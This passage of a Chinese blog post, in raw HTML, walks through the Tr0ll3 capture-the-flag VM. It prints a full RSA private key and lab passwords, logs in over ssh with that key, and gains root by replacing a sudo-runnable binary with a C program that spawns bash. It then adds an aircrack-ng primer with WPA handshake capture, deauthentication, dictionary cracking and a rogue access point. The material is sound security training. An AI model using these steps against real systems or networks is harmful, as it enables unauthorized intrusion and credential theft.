&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;total &lt;span class="m"&gt;44&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;4&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; ./
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;drwxr-xr-x &lt;span class="m"&gt;10&lt;/span&gt; root root &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;19&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; ../
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;-rw-r--r-- &lt;span class="m"&gt;1&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;220&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;-rw-r--r-- &lt;span class="m"&gt;1&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;3637&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;2&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .cache/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;3&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; .gnupg/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;-rw-rw-r-- &lt;span class="m"&gt;1&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;1675&lt;/span&gt; Jun &lt;span class="m"&gt;18&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; maleus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;-rw-r--r-- &lt;span class="m"&gt;1&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;675&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;-rw------- &lt;span class="m"&gt;1&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;5649&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .viminfo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;-rw-rw-r-- &lt;span class="m"&gt;1&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;931&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; xlogin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;genphlux@Tr0ll3:~$ cat maleus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;-----BEGIN RSA PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;MIIEowIBAAKCAQEAwz5Hwer48U1t/Qi9JveuO+Z7WQlnmhOOs/2pZ0he/OyVsEFv
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;DsGib1wu/N8t+7h9JZK9x2GL33TXQBVCy6TxES90F1An+2DSza6lJPCyhcgK/DEp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;yxSVt32A+lFo+PQJV6QYZlpRkek0MjUw5y/E5qZwdBypC55C4QzgQBN3+Lnuhuk4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;u52xcK9/6/2N7JZCNYA21Tp1Uy9mty/65IT7OwKJd2rXp3O6rZYTD/vPl+Rt/LtN
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;gA1DbDODq0NCmvcrZL+SafSj+MABA3LCERw01gA4RMdyxJU6hVfjeSKOdwDQOGWe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;eAVCL2GR/frwyf+rfN1kbpdw/RGXWWwVANMcaQIDAQABAoIBAGNudFztrZo2NK2I
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;pcwSl0kqN+dAQuLU0vgXVw6ibL2iPxlkOYrqUi8kY0mk32YyrolUEhJYO0Ox3W1l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Zn8PoTV/VUAKMlJzHOhi6PfHHSPEnNOSthYWhajM4cKZczxWC+v2RfbaSHBms45e
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;SGl0inJskRiRAAZKswSp6gq334FrS6Dwy1tiKvzCfR3kLQghV5U/PhFZCsq3xvAw
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;eXPx2toNtU2gYSGrKWTep+nAKM1neBxeZAujYuN4xJ5/Th2y0pyTvX9WEgzKPJ/G
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;PlYZYCUAKPCbabYSuZckjeiN1aS52AIFedECBfAIezOr08Wx/bI/xCOgBxrQgPrK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;kRvlOYECgYEA5eCIEfdLhWdg3ltadYE0O5VAoXKrbxYWqSyw1Eyeqj0N1qD9Rsvg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;jIQJazV5JcVBIF54f/jlCJozR5s5AELrY0Z/krea1lF5ecOSUQE3tp94298xzO3g
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;7BBe3g6pD56Cya/Vo0+YVQmAnBHLh6QIYvUUXXN2IyceT8fhEx5JA+sCgYEA2W4z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;KKMVAdPxKcjVks1zdGmVlj1RsUkakYuLWV3jQe2w1naJrc37Khy5eWZaRJhXqeBb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;1cvTMa+r/BF7jvItxglWoBJqXDxKI0a6KqWtloZL2ynoaBkAhR2btob6nSN63Bpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;ZYJKY1B5yYbDHK4k6QT7atn2g6DAv/7sW6skj/sCgYA16WTAIek6TjZvr6kVacng
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;N27C7mu6T8ncvzhxcc68SjlWnscHtYTiL40t8YqKCyrs9nr4OF0umUtxfbvujcM6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;syv0Ms9DeDQvFGjaSpjQYbIsjrnVP+zCMEyvc2y+1wQBXRWTiXVGbEYXVC0RkKzO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;2H+AMzX/pIr9Vvk4TJ//JQKBgFNJcy9NyO46UVbAJ49kQ6WEDFjQhEp0xkiaO3aw
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;EC1g7yw3m+WH0X4AIsvt+QXtlSbtWkA7I1sU/7w+tiW7fu0tBpGqfDN4pK1+mjFb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;5XKTXttE4lF9wkU7Yjo42ib3QEivkd1QW05PtVcM2BBUZK8dyXDUrSkemrbw33j9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;xbOhAoGBAL8uHuAs68ki/BWcmWUUer7Y+77YI/FFm3EvP270K5yn0WUjDJXwHpuz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;Fg3n294GdjBtQmvyf2Wxin4rxl+1aWuj7/kS1/Fa35n8qCN+lkBzfNVA7f626KRA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;wS3CudSkma8StmvgGKIU5YcO8f13/3QB6PPBgNoKnF5BlFFQJqhK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;-----END RSA PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 上面密钥复制到Kali中&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Tr0ll3&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;└─$ ssh maleus@172.168.169.142 -i maleus
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723172847880" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723172847880.png"&gt;&lt;/p&gt;
&lt;h2 id="vim信息发现"&gt;VIM信息发现
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250723173904134" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723173904134.png"&gt;&lt;/p&gt;
&lt;p&gt;有个可执行文件，查看发现密码，但是执行这个文件，sudo输入这个密码都提示不对。发现用户文件夹下还有一个viminfo文件。发现密码&lt;code&gt; B^slc8I$&lt;/code&gt;就是maleus用户的密码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723174217293" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723174217293.png"&gt;&lt;/p&gt;
&lt;p&gt;sudo -l发现当前用户可以以root身份执行刚刚那个脚本，而且脚本也是对当前用户有写权限，所以把脚本写到这个文件里执行即可获得权限。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723174441515" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723174441515.png"&gt;&lt;/p&gt;
&lt;h2 id="c脚本提权"&gt;C脚本提权
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因为&lt;code&gt;dont_even_bother&lt;/code&gt;是个编译后的脚本，而从最开始的信息收集中发现，gcc命令是可以执行的，所以写一个最简单的C脚本即可提权。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;gcc test.c -o dont_even_bother
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo ./dont_even_bother
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723175033320" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723175033320.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723175433438" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;Pr00fThatTh3L33tHax0rG0tTheFl@g!!&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="其他信息"&gt;其他信息
&lt;/h2&gt;&lt;p&gt;在www文件夹下发现用户名和密码&lt;code&gt; fido:x4tPl!&lt;/code&gt;，但是su切换不过去，或许有别的方法可以进，下次试试。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723175633853" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723175633853.png"&gt;&lt;/p&gt;
&lt;p&gt;Apache服务80端口开了，但是不知道如何访问，无论是Kali还是靶机内部的root用户访问都提示403&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723184007815" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723184007815.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723181231937" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723181231937.png"&gt;&lt;/p&gt;
&lt;h1 id="补充知识点"&gt;补充知识点
&lt;/h1&gt;&lt;h2 id="aircrack-ng无线网络安全审计终极工具"&gt;Aircrack-ng：无线网络安全审计终极工具
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Aircrack-ng&lt;/strong&gt; 是一款开源的 WiFi 网络安全工具套件，主要用于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;📶 无线网络渗透测试&lt;/li&gt;
&lt;li&gt;🔓 WEP/WPA/WPA2-PSK 密钥破解&lt;/li&gt;
&lt;li&gt;🔍 无线网络流量分析&lt;/li&gt;
&lt;li&gt;📡 无线接入点审计&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="核心功能组件"&gt;核心功能组件
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;工具&lt;/th&gt;
 &lt;th&gt;功能描述&lt;/th&gt;
 &lt;th&gt;典型用途&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;airmon-ng&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;启用无线网卡监控模式&lt;/td&gt;
 &lt;td&gt;准备网卡进行抓包&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;airodump-ng&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;捕获并分析 WiFi 流量（握手包、信标帧等）&lt;/td&gt;
 &lt;td&gt;扫描网络并保存抓包文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;aireplay-ng&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;生成自定义无线流量（欺骗、重放攻击）&lt;/td&gt;
 &lt;td&gt;强制设备重连获取WPA握手包&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;aircrack-ng&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;使用字典攻击/暴力破解破解 WEP/WPA/WPA2 密钥&lt;/td&gt;
 &lt;td&gt;实际密码破解&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;airdecap-ng&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;用破解的密钥解密捕获的流量&lt;/td&gt;
 &lt;td&gt;分析网络中的明文通信&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="主要应用场景"&gt;主要应用场景
&lt;/h3&gt;&lt;h4 id="1-wep加密破解"&gt;1. &lt;strong&gt;WEP加密破解&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 捕获足够IVs数据包后直接破解&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;aircrack-ng -b 00:11:22:33:44:55 capture.cap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2-wpawpa2握手包捕获与破解"&gt;2. &lt;strong&gt;WPA/WPA2握手包捕获与破解&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 捕获握手包&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;airodump-ng -c &lt;span class="m"&gt;6&lt;/span&gt; --bssid AP_MAC -w capture wlan0mon
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用字典破解&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;aircrack-ng -w password.lst -b AP_MAC capture.cap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="3-创建虚拟接入点"&gt;3. &lt;strong&gt;创建虚拟接入点&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 模拟合法AP进行中间人攻击&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;airbase-ng -e &lt;span class="s2"&gt;&amp;#34;Free_WiFi&amp;#34;&lt;/span&gt; -c &lt;span class="m"&gt;6&lt;/span&gt; wlan0mon
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="4-无线网络诊断"&gt;4. &lt;strong&gt;无线网络诊断&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测隐藏SSID网络&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;airodump-ng wlan0mon --hidden
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="经典破解流程wpawpa2"&gt;经典破解流程（WPA/WPA2）
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;启用监控模式&lt;/strong&gt;：&lt;code&gt;airmon-ng start wlan0&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描网络&lt;/strong&gt;：&lt;code&gt;airodump-ng wlan0mon&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;捕获握手包：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;airodump-ng -c &lt;span class="o"&gt;[&lt;/span&gt;频道&lt;span class="o"&gt;]&lt;/span&gt; --bssid &lt;span class="o"&gt;[&lt;/span&gt;AP_MAC&lt;span class="o"&gt;]&lt;/span&gt; -w capture wlan0mon
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;强制握手（可选）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;aireplay-ng -0 &lt;span class="m"&gt;4&lt;/span&gt; -a &lt;span class="o"&gt;[&lt;/span&gt;AP_MAC&lt;span class="o"&gt;]&lt;/span&gt; -c &lt;span class="o"&gt;[&lt;/span&gt;客户端MAC&lt;span class="o"&gt;]&lt;/span&gt; wlan0mon
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;破解密码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;aircrack-ng -w rockyou.txt capture-01.cap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="重要技术参数"&gt;重要技术参数
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;作用示例&lt;/th&gt;
 &lt;th&gt;破解成功率因素&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;字典质量&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;-w rockyou.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;70%+ 常见密码可在前100万条命中&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GPU加速&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;--gpu-temp-disable&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;NVIDIA/AMD显卡可提速100倍&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;规则攻击&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;-r rules.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;通过变形规则扩展字典&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;会话恢复&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;-l session.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;中断后可恢复破解进度&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;多文件处理&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;files/*.cap&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可批量处理多个抓包文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="替代工具推荐"&gt;替代工具推荐
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hashcat&lt;/strong&gt;：支持GPU加速的密码破解（兼容aircrack捕获文件）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wifite&lt;/strong&gt;：自动化无线审计工具（基于aircrack-ng）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fern Wifi Cracker&lt;/strong&gt;：图形化无线审计工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kismet&lt;/strong&gt;：无线网络探测与IDS系统&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="viminfo-文件详解"&gt;&lt;code&gt;.viminfo&lt;/code&gt; 文件详解
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;.viminfo&lt;/code&gt; 是 Vim 文本编辑器自动生成的用户状态记录文件，通常位于用户主目录（&lt;code&gt;~/.viminfo&lt;/code&gt;）。它在 Vim &lt;strong&gt;启动时读取&lt;/strong&gt;，&lt;strong&gt;关闭时更新&lt;/strong&gt;，用于保存用户编辑会话之间的状态信息。&lt;/p&gt;
&lt;h3 id="主要作用"&gt;&lt;strong&gt;主要作用&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;th&gt;具体说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
